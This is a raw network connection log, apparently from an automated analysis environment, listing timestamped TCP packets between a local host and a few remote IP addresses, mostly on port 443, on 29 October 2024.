Oct 29, 2024 13:08:20.053643942 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.053932905 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.053941965 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.175564051 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.175705910 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.175847054 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.176000118 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.176040888 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.176068068 CET	49739	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.176086903 CET	443	49739	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.177546024 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.177596092 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.177716970 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.177750111 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.177779913 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.177858114 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.178138018 CET	49738	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.178169012 CET	443	49738	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.178767920 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.178796053 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.178853989 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.178868055 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.178915024 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.180083036 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.180146933 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.180471897 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.180767059 CET	49735	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.180794954 CET	443	49735	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.181473970 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.181503057 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.181590080 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.181612015 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.181704998 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.181759119 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.181813955 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.181881905 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.182537079 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.182537079 CET	49736	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.182555914 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.182578087 CET	443	49736	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.184329987 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.184375048 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.184406996 CET	49737	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.184422970 CET	443	49737	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.201786041 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.201818943 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.201899052 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.202888012 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.202919960 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.205670118 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.205697060 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.205765009 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.206039906 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.206052065 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.206772089 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.206794977 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.206866980 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.215553045 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.215598106 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.216176987 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.216200113 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.216236115 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.218588114 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.218666077 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.218905926 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.219553947 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.219583988 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.220052958 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:20.220088005 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:20.551250935 CET	80	49716	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:20.556925058 CET	49716	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:21.291781902 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:21.297265053 CET	80	49746	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:21.297359943 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:21.297535896 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:21.302905083 CET	80	49746	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:21.349210024 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.349797964 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.349824905 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.351568937 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.351577997 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.352305889 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.352718115 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.352732897 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.353097916 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.353104115 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.354315996 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.354589939 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.354610920 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.354639053 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.355011940 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.355017900 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.355086088 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.355179071 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.355407000 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.355422974 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.479046106 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.479151011 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.479212046 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.479357958 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.479357958 CET	49744	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.479396105 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.479424000 CET	443	49744	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.480700970 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.480894089 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.481007099 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.481323004 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.481349945 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.481380939 CET	49742	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.481396914 CET	443	49742	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.484325886 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484416962 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.484462976 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484493971 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.484503031 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484546900 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484576941 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.484697104 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484707117 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.484741926 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.484846115 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484894037 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.484925032 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.485044003 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.485071898 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.485120058 CET	49745	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.485132933 CET	443	49745	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.487498045 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.487555027 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.487617970 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.487732887 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.487755060 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.491503000 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.491554976 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.491609097 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.491705894 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.491710901 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.491734982 CET	49741	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.491738081 CET	443	49741	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.494129896 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.494137049 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.494195938 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.494304895 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.494313955 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.799535990 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.800118923 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.800141096 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.801717043 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.801729918 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.934369087 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.934695005 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.934880972 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.934941053 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.934962988 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.934983015 CET	49743	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.934988976 CET	443	49743	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.937987089 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.938070059 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:21.938205957 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.938397884 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:21.938442945 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.212161064 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.213341951 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.213392973 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.213846922 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.213862896 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.222368002 CET	80	49746	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:22.222748041 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.222836018 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:22.222939968 CET	80	49746	142.251.168.82	192.168.2.5
Oct 29, 2024 13:08:22.222995043 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:22.223179102 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.223265886 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.223278999 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:22.223299026 CET	49746	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:08:22.223871946 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.223886013 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.244211912 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.244561911 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.244577885 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.244888067 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.244894981 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.253715038 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.257091999 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.257102966 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.257419109 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.257422924 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.340513945 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.340703011 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.340804100 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.340982914 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.341016054 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.341065884 CET	49749	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.341083050 CET	443	49749	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.343642950 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.343672037 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.344877958 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.344995022 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.345000029 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.351805925 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.351996899 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.352092981 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.352207899 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.352247000 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.352298021 CET	49747	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.352313995 CET	443	49747	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.354284048 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.354331017 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.354409933 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.354527950 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.354542017 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.376992941 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.377619982 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.377680063 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.377804995 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.377813101 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.377836943 CET	49748	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.377840996 CET	443	49748	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.386850119 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.388196945 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.388371944 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.391510963 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.391575098 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.391599894 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.391604900 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.391628981 CET	49750	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.391632080 CET	443	49750	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.391669035 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.392436028 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.392448902 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.393838882 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.393882036 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.393944979 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.394251108 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.394263029 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.662869930 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.663639069 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.663677931 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.664127111 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.664139986 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.790910006 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.793123007 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.793188095 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.793736935 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.793775082 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.793803930 CET	49751	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.793819904 CET	443	49751	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.801136971 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.801187038 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:22.801311970 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.810456038 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:22.810472965 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.066828012 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.114097118 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.123837948 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.126377106 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.126388073 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.129884005 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.137077093 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.137082100 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.137789965 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.137797117 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.139955044 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.143410921 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.143415928 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.143721104 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.143744946 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.149594069 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.149599075 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.176568031 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.219857931 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.219877005 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.220364094 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.220374107 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.262121916 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.262267113 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.262341022 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.269769907 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.269911051 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.270466089 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.277622938 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.277838945 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.277894020 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.287065029 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.287081957 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.287092924 CET	49752	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.287098885 CET	443	49752	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.288583994 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.288589954 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.288598061 CET	49754	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.288604021 CET	443	49754	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.289761066 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.289781094 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.289792061 CET	49755	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.289798975 CET	443	49755	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.346895933 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.346920013 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.347126007 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.347579002 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.347713947 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.351198912 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.359055996 CET	49757	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.359066010 CET	443	49757	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.359220028 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.359225988 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.359235048 CET	49753	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.359237909 CET	443	49753	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.361500978 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.361525059 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.361603975 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.361705065 CET	49758	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.361717939 CET	443	49758	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.362948895 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.362961054 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.363183975 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.364295959 CET	49759	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.364301920 CET	443	49759	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.364408970 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.364449978 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.364504099 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.364646912 CET	49760	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.364664078 CET	443	49760	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.574676991 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.575191975 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.575212955 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.575691938 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.575696945 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.707225084 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.707508087 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.707566977 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.707648993 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.707672119 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.707685947 CET	49756	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.707693100 CET	443	49756	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.711664915 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.711719036 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:23.711782932 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.711990118 CET	49761	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:23.712006092 CET	443	49761	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:24.211116076 CET	443	49757	13.107.246.45	192.168.2.5
